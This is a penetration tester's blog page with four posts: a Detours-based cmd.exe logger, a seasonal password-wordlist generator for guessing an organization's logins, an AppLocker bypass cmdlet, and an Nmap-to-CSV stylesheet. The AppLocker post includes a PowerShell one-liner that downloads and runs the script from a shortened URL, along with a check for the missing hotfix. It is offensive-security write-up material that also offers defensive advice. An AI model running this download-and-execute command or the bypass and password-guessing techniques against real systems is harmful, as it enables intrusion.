Showing posts with label red team. Show all posts
Showing posts with label red team. Show all posts

Sunday, February 28, 2016

Snooping on Myself for a Change

Premise

When I started red teaming, I would often want to know the answers to impossible questions while writing my post-assessment report:
  • What was that command I used that I didn't think would be important to making my point, but now I realize it is?
  • The output indicated a Windows error message - which error was it?
  • Which IP address was leased to me when I did that?
Naturally a red teamer should always be taking copious screenshots, recording IP addresses frequently, and incrementally reporting in tandem with the engagement. But knowing what will be significant later is sometimes a challenge. It would be nice to have a backup.

In this post, I talk about researching and constructing a tool for logging 32-bit cmd.exe commands and output local to one's Windows attack VM. Then I discuss limitations and post source code. I've wanted to do this for a while, but I recently had a project that gave me an excuse to use Detours, so while I was at it, I decided to quickly knock out this project.

Tools

Microsoft Research produced a very useful tool for both investigating this problem and developing a solution, called Microsoft Detours. Detours is a library for hooking Win32 APIs, which allows one to instrument and extend binary applications. The non-commercial version can be downloaded for free, but only covers 32-bit architectures. This will suffice for our proof of concept. These techniques are older than 1999, so I leave it as an exercise for the student to extend this to 64-bit.

One of the Detours samples, named traceapi, hooks 1,401 Windows API functions, and can provide detailed insight into how an application works. Meanwhile, another Detours sample, named simple, shows an example of hooking and extending the Windows SleepEx API. This is all we need to get started.

Investigation

To use the traceapi sample, you must copy the Detours root to a writable directory, open a 32-bit Windows SDK Prompt, and invoke nmake from the samples directory. The bin.x86 Detours sub-directory will contain many files, including the following tools necessary to this exercise:
  • traceapi.dll (or trcapi32.dll - I seem to recall getting different results depending upon how I built this)
  • withdll.exe - for loading an application with a DLL in its address space
  • syelogd.exe - for logging trace output from Detours tools
When using traceapi, I expected to find patterns including CreateFile(CONIN$) / ReadFile, or some such. Then I anticipated hooking functions to record which handles corresponded to CONIN$, CONERR$, and CONOUT$ so that I could know which ReadFileW and WriteFileW activity corresponded to console input and output.

To begin the investigation, I launched syelogd.exe to log to a file, as follows:

C:\Users\someone\Detours\bin.x86> syelogd.exe trace_cmd.log

I then launched the 32-bit cmd.exe with traceapi.dll in its address space to begin tracing:

C:\Users\someone\Detours\bin.x86> withdll.exe /d:traceapi.dll C:\Windows\SysWOW64\cmd.exe

At this point, I typed a few commands like DIR and EXIT, and then terminated syelogd.exe.

Ah, beautiful trace output

What I found was happily contrary to my expectations...

Found the "Easy" button

The Windows command interpreter uses the ReadConsole and WriteConsole APIs for reading to and writing from the console. All the easier to hook, with no state tracking required.

Development and Features

The Detours sample named simple contains all you need to get started. Copy that folder, name it something else, update the Makefile, and get cooking. One bump I ran into and hacked up a fix for was that the 32-bit rc.exe crashed when executing it within my 32-bit Windows SDK Prompt. This is why my own Makefile (not uploaded) directly references the 64-bit rc.exe.

Logging

To customize the sample code to do my bidding, I followed the simple example's hooking pattern to first hook ReadConsoleW and WriteConsoleW. My initial logging hooks simply returned the value of the real functions just for testing purposes. I then tried printf("WriteConsole: %S", lpBuffer) to test whether I could output the data, and finally opened a file within the DllMain function.

Here is an example of the logging for a call to net.exe:
Logs for days
Why is there a separate log for each process? Because my DLL creates a new, unique log every time it is loaded. See the Limitations section below for discussion.

Why does net.exe create two logs? Because net.exe calls out to net1.exe to do its work.

IP Address Logging

I expected to have to use some sort of COM API, but instead there's this convenient GetAdaptersInfo API. Easy-peasy :)

Status Command

I wanted a way of knowing for sure that logging was enabled, without typing EXIT and having my parent prompt close on me. So, I implemented a secret command, REM status. Because my command begins with the REM command, it will be ignored by the command interpreter but intercepted by my hook on its way to the application.

BOOL WINAPI
LogReadConsoleW(
  HANDLE  hConsoleInput,
  LPVOID  lpBuffer,
  DWORD   nNumberOfCharsToRead,
  LPDWORD lpNumberOfCharsRead,
  PCONSOLE_READCONSOLE_CONTROL pInputControl
)
{
    BOOL ret = pReadConsoleW(
        hConsoleInput,
        lpBuffer,
        nNumberOfCharsToRead,
        lpNumberOfCharsRead,
        pInputControl
       );

    /* TODO: Replace this crap code with more accurate parsing */
    if (!wcsncmp((const wchar_t *)lpBuffer, CMD_QUERY_STATUS,
                wcslen(CMD_QUERY_STATUS)))
    {
        printf("Logging to %s\n", cmdlog_fname_expanded);
        LogInfoStampToFile(stdout);
    }

    LogToFile(cmdlog, "%S", lpBuffer);
    State = clsLabel;

    return ret;
}

The result is satisfactory. I type REM status, and if I'm hooked, I see a nice little confirmation that logging is enabled, including the log file name and some IP address information.

Yes, Neo, you are in the Matrix.

Limitations

Otherwise known as "problems I don't plan to solve until I get a copy of Detours Enterprise and some more time." The last 10% always takes 90% of the time, amirite?

Single-File Logging

This will probably entail using IPC, and some IPC mechanisms (like named pipes) cannot be initialized in DllMain because they could cause a deadlock by precipitating an attempt to acquire the loader lock (check out Microsoft's article on DLL best practices). This means writing "lazy initialization" code. I leave this as an exercise for the student.

Another scheme is for each child to share a log file with the parent process whose name is based on the PID of the top-most parent of the current process that has our DLL loaded in its address space. The APIs used to do this might entail a LoadLibrary or some APIs that violate DLL best practices, so again... Exercise left for the student.

Alternately, I could just open and close a single logfile with a single name, but then if I open several logged command prompts, one may fail to get access to the log as another is writing to it (say, if I'm running a command that outputs continuously while running another command in the other prompt). So, I didn't do that.

Cross-Architecture Process Creation

Because Detours Express is only for 32-bit, we have no 64-bit DLL. So here's what happens when you try to load a 64-bit process...

Nope.
Hooking 64-bit, while fun, is not something I have time for right now (I'm a father; give me a break). But my employer has a license for 64-bit, so perhaps I will extend this later. How? I anticipate that I will use the ImageHlp APIs or something to figure out whether the CreateProcess call is for a 32- or 64-bit process, and then load the appropriate DLL. Yay!

^M&^M's

If you open the output log files in something like gvim, you will see stray ^M's (character 0x0d) all over the place. Yuck. But a quick swipe of the %s/^M//g in gvim eliminates these, so I just can't bring myself to care.

Source Code

As is frequently the case with my spare-time experimentation, this code is proof of concept only. If it doesn't compile because I didn't close a pair of parentheses, rest assured that it's because I had to drop everything and rush over to my young daughter to prevent her from acquainting herself with an electric socket. Forgive me. But hopefully the thought process published here and the examples available in the code will help you think of new ways to solve problems.

The code is here: https://github.com/strictlymike/tools/tree/master/cmdlog

Sunday, October 25, 2015

Pumpkin Spiced Password Generator

If you want to generate a custom password list to attack an organization's web, ssh, or other services, there are a lot of combinations you might have to go through to cover the bases you're interested in. For example:
  • Leetspeek is becoming more common, e.g. p@ssw0rd
  • Appending a bang (!) or 123 is common
  • Appending a single digit or a seasonal suffix (e.g. fall2015) is a common way to maintain the same password despite change policies
  • Capitalized first letter
  • There is always someone whose password has to do with either (a) the regional football team, (b) the Packers, or (c) the Bears.
  • Many people incorporate some variation of their organization's name in their passwords
  • Blah, blah, blah
I recently had an engagement where I felt it would be useful to generate some fall passwords as well as sports-oriented and organization-themed passwords in order to attempt to break into various services. It was a quick exercise to whip up this script:


It works by traversing a pseudo-tree (really a list of lists) representing the various ways in which each character of the specified word could be represented, and emitting all variations of that word with each suffix (e.g. fall2015) specified in the script. The transmute function in this script recursively iterates through possibilities similar to the way binary digits are incremented, starting with the characters nearest the end of the word and working its way toward the beginning of the word while iterating through each possible value for that character position. In this way, the script traverses the entire tree of likely password values for a given word. The script finally adds various common suffices to each resulting password. For a simple case, the word "abc" would emit the following list:

>python pwmunge.py abc
abc
abc!
abc1
abc123
abc2015
abc2015!
abc0915
abc915
abc1015
abcoct15
abcfall15
abcfall2015
@bc
@bc!
@bc1
@bc123
@bc2015
@bc2015!
@bc0915
@bc915
@bc1015
@bcoct15
@bcfall15
@bcfall2015
Abc
Abc!
Abc1
Abc123
Abc2015
Abc2015!
Abc0915
Abc915
Abc1015
Abcoct15
Abcfall15
Abcfall2015

The script is capable of limiting output to include only passwords within a particular range of lengths. Perhaps this could be used in conjunction with DigiNinja's CeWL to come up with a useful wordlist for a given organization. I haven't implemented argparse because this script has served its purpose, so you'll have to hack it up yourself to meet your needs. But, the algorithm herein provides a nice base to start with.

As you work with different organizations, you'll get a better feel for common password themes. Maybe this script can help you guess some of the pumpkin-spiced passwords of October, such as H@ll0ween2015. Happy hackin'!

Friday, June 26, 2015

AppLocker, SchmappLocker

In this article, I introduce a PowerShell cmdlet called Invoke-SchmappLocker to bypass AppLocker.

One of the things organizations can do to make it more difficult to run malware on their systems is to enforce application whitelisting. High-end editions (Enterprise and Ultimate) of Microsoft's modern operating systems provide AppLocker for this purpose.

If you've got Enterprise or Ultimate, you should create and enable its default policies along with User Account Control (UAC), and also consider testing and applying the optional KB2532445 hotfix. Dovetail these two mitigations like so, and you will raise the bar to entry for post-exploitation: UAC will generally notify you when software attempts to write to directories like Program Files or system32, and AppLocker will interrupt malware that runs out of AppData or other such folders.


The reason it is important to apply the KB2532445 hotfix I mentioned above is that the Windows APIs permit applications to load software in spite of AppLocker execution policies if they explicitly ask to do so. Why would this be? Because Windows assumes that software already running on your system should be trusted. If you don't agree with this assumption, Microsoft will happily provide you with a tinfoil hat (in the form of the KB2532445 hotfix), but you have to ask for it - it is not a critical or recommended hotfix.

I've written a marginal shellcode exploit for this "vulnerability" (it's actually just a feature), but with no particular delivery mechanism and no time invested in circumventing modern mitigations such as Address Space Layout Randomization (ASLR), it was kind of lame. A few authors have already written about how to use Microsoft Office macros to exploit this. But recently, a colleague gave me cause to consider another practical delivery mechanism for this exploit: PowerShell.

So, for those pentesters who need to drive the point home that deploying AppLocker without KB2532445 is like eating Oreos without milk, I present: Invoke-SchmappLocker.ps1.

The basis of this "exploit" is using the PowerShell Add-Type cmdlet to compile a .NET Framework DLL in memory that uses interop services to call the CreateRestrictedToken API providing the SANDBOX_INERT flag, and then calling the CreateProcessAsUser API with that token in order to walk all over AppLocker. I learned this was possible by searching for "PowerShell PInvoke" and reading this TechNet article.

So, let's try it. You can check if your target is going to allow you to do this by running:

wmic.exe qfe list | findstr.exe 2532445

If there is no output, you're good to go.

I like the carnal0wnage method of using powershell to download and execute the cmdlet, so I created a tinyurl for my script in order to conveniently emulate that:

powershell "IEX (New-Object Net.WebClient).DownloadString('http://tinyurl.com/SchmappLocker'); Invoke-SchmappLocker .\hello.exe" 

Below is a command prompt in which I attempt to run hello.exe twice. The first time, it is blocked by AppLocker, and the second time it executes without issue because I use Invoke-SchmappLocker.


PowerShell prints the return value from Invoke-SchmappLocker, which is zero if it works. I've included debug code in the .NET class, so if CreateProcessAsUser fails with, say, error 3, then you can figure out what the heck is going on. If you didn't know, you can look up the meaning of Win32 API error codes 1-128 (and possibly others) with NET.EXE HELPMSG. To wit:

C:\Users\bamf>net.exe helpmsg 3

The system cannot find the path specified.


C:\Users\bamf>

If you get a "cannot find" error, you probably need to provide the full path to your executable. When invoking this directly within PowerShell, you may even need to specify the full path if the binary is in the same directory as you are. I don't know why this is. Invoke-SchmappLocker also doesn't permit you to provide arguments, but if you hack on the .NET code in it, you can get around that.

In case you missed the link above, Invoke-SchmappLocker.ps1 can be had here:

https://github.com/strictlymike/Invoke-SchmappLocker/

Happy hackin' ;-)

Sunday, April 12, 2015

Dealing with Nmap output

Port scans of multiple hosts typically result in a lot of information that I'd rather have in a spreadsheet. If you use the -oX or -oA Nmap flags, you should theoretically be able to receive XML and use XSLT to transform it into comma-separated variable (CSV) format and load it up in your spreadsheet. When I started using Nmap, I wrote an XSL stylesheet to do that, and recently I've updated it to translate pretty much all the information I'm usually interested in. It goes like this:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
    version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns="http://www.w3.org/1999/html">

    <xsl:output method="text" indent="no" encoding="UTF-8"/>

    <xsl:template match="/nmaprun">

        <!-- Headings -->
        <xsl:text>"Address",</xsl:text>
        <xsl:text>"Hostname",</xsl:text>
        <xsl:text>"RecType",</xsl:text>
        <xsl:text>"State",</xsl:text>
        <xsl:text>"Proto",</xsl:text>
        <xsl:text>"Port",</xsl:text>
        <xsl:text>"Service",</xsl:text>
        <xsl:text>"State",</xsl:text>
        <xsl:text>"Product",</xsl:text>
        <xsl:text>"OS Match",</xsl:text>
        <xsl:text>"OS Type/Vendor/Family/Gen"</xsl:text>
        <xsl:text>&#10;</xsl:text>

        <!-- Ports -->
        <xsl:for-each select="host/ports/port">
            <xsl:text>"</xsl:text>
            <xsl:value-of select="../../address/@addr"/>
            <xsl:text>","</xsl:text>
            <xsl:value-of select="../../hostnames/hostname/@name"/>
            <xsl:text>","</xsl:text>
            <xsl:value-of select="../../hostnames/hostname/@type"/>
            <xsl:text>","</xsl:text>
            <xsl:value-of select="../../status/@state"/>
            <xsl:text>","</xsl:text>
            <xsl:value-of select="@protocol"/>
            <xsl:text>","</xsl:text>
            <xsl:value-of select="@portid"/>
            <xsl:text>","</xsl:text>
            <xsl:value-of select="service/@name"/>
            <xsl:text>","</xsl:text>
            <xsl:value-of select="state/@state"/>
            <xsl:text>","</xsl:text>
            <xsl:value-of select="service/@product"/>
            <xsl:text>","</xsl:text>
            <xsl:value-of select="../../os/osmatch/@name"/>
            <xsl:text>","</xsl:text>
            <xsl:value-of select="../../os/osmatch/osclass/@type"/>
            <xsl:text> / </xsl:text>
            <xsl:value-of select="../../os/osmatch/osclass/@vendor"/>
            <xsl:text> / </xsl:text>
            <xsl:value-of select="../../os/osmatch/osclass/@osfamily"/>
            <xsl:text> / </xsl:text>
            <xsl:value-of select="../../os/osmatch/osclass/@osgen"/>
            <xsl:text>"</xsl:text>
            <xsl:text>&#10;</xsl:text>
        </xsl:for-each>

    </xsl:template>

</xsl:stylesheet>

This stylesheet can be used with Microsoft's XSL command-line transformation utility (msxsl.exe), which can be downloaded directly from Microsoft, here:

http://www.microsoft.com/en-us/download/details.aspx?id=21714

The msxsl.exe command line for Windows is:

> msxsl.exe portscan.xml nmap_xml_to_csv.xsl -o portscan.csv

Or you can use xsltproc on Linux:

$ xsltproc nmap_xml_to_csv.xsl portscan.xml --output portscan.csv

Or you can use Python or Perl or whatever. Knock yourself out.

As for how it works, the stylesheet simply uses the xsl:template element to match on the root element of the Nmap output (/nmaprun), the xsl:for-each element to iterate through ports, and Xpath expressions to pull the various host attributes out of the XML. The end result is nice and manageable:


Now you can filter on open ports, sort by host or service, and get a better look at your attack surface.

I haven't tested this with lots and lots of Nmap output, so there could be some corner cases I'm missing, but it's a start. The XSL stylesheet is reproduced in full above, but you can also find it (and other things) on my github:

https://github.com/strictlymike/tools/

For more about XSLT, I actually found w3schools to be pretty helpful:

http://www.w3schools.com/xsl/

Actually, I find pretty much all of their tutorials to be helpful. You should go and read them all. Enjoy!